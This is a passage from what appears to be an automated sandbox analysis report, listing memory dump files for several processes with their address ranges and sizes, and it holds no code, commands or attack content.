                                                                          • memory/3596-71-0x00007FF8BEC50000-0x00007FF8BEC73000-memory.dmp

                                                                            Filesize

                                                                            140KB

                                                                          • memory/3596-70-0x000001F4B06A0000-0x000001F4B0A18000-memory.dmp

                                                                            Filesize

                                                                            3.5MB

                                                                          • memory/3596-65-0x00007FF8AF540000-0x00007FF8AFB29000-memory.dmp

                                                                            Filesize

                                                                            5.9MB

                                                                          • memory/3596-66-0x00007FF8BEC90000-0x00007FF8BECBE000-memory.dmp

                                                                            Filesize

                                                                            184KB

                                                                          • memory/3596-257-0x00007FF8BED20000-0x00007FF8BED43000-memory.dmp

                                                                            Filesize

                                                                            140KB

                                                                          • memory/3596-278-0x00007FF8AF540000-0x00007FF8AFB29000-memory.dmp

                                                                            Filesize

                                                                            5.9MB

                                                                          • memory/3596-294-0x00007FF8AEFB0000-0x00007FF8AF127000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                          • memory/3596-290-0x00007FF8AE120000-0x00007FF8AE498000-memory.dmp

                                                                            Filesize

                                                                            3.5MB

                                                                          • memory/3596-289-0x00007FF8AE4A0000-0x00007FF8AE558000-memory.dmp

                                                                            Filesize

                                                                            736KB

                                                                          • memory/3596-288-0x00007FF8BEC90000-0x00007FF8BECBE000-memory.dmp

                                                                            Filesize

                                                                            184KB

                                                                          • memory/3596-286-0x00007FF8BECC0000-0x00007FF8BECD9000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/3596-280-0x00007FF8BEC50000-0x00007FF8BEC73000-memory.dmp

                                                                            Filesize

                                                                            140KB

                                                                          • memory/3596-310-0x00007FF8AE600000-0x00007FF8AE71C000-memory.dmp

                                                                            Filesize

                                                                            1.1MB

                                                                          • memory/3596-318-0x00007FF8BECC0000-0x00007FF8BECD9000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/3596-320-0x00007FF8BEC90000-0x00007FF8BECBE000-memory.dmp

                                                                            Filesize

                                                                            184KB

                                                                          • memory/3596-319-0x00007FF8AE120000-0x00007FF8AE498000-memory.dmp

                                                                            Filesize

                                                                            3.5MB

                                                                          • memory/3596-317-0x00007FF8AEFB0000-0x00007FF8AF127000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                          • memory/3596-53-0x00007FF8AEFB0000-0x00007FF8AF127000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                          • memory/3596-315-0x00007FF8C25F0000-0x00007FF8C2609000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/3596-314-0x00007FF8BED50000-0x00007FF8BED7D000-memory.dmp

                                                                            Filesize

                                                                            180KB

                                                                          • memory/3596-313-0x00007FF8C3180000-0x00007FF8C318F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                          • memory/3596-312-0x00007FF8BEC50000-0x00007FF8BEC73000-memory.dmp

                                                                            Filesize

                                                                            140KB

                                                                          • memory/3596-311-0x00007FF8C3B70000-0x00007FF8C3B80000-memory.dmp

                                                                            Filesize

                                                                            64KB

                                                                          • memory/3596-306-0x00007FF8AE4A0000-0x00007FF8AE558000-memory.dmp

                                                                            Filesize

                                                                            736KB

                                                                          • memory/3596-304-0x00007FF8C2470000-0x00007FF8C247D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/3596-309-0x00007FF8BEC80000-0x00007FF8BEC8D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/3980-93-0x000002207D120000-0x000002207D142000-memory.dmp

                                                                            Filesize

                                                                            136KB

                                                                          • memory/4952-181-0x00000267F11D0000-0x00000267F11D8000-memory.dmp

                                                                            Filesize

                                                                            32KB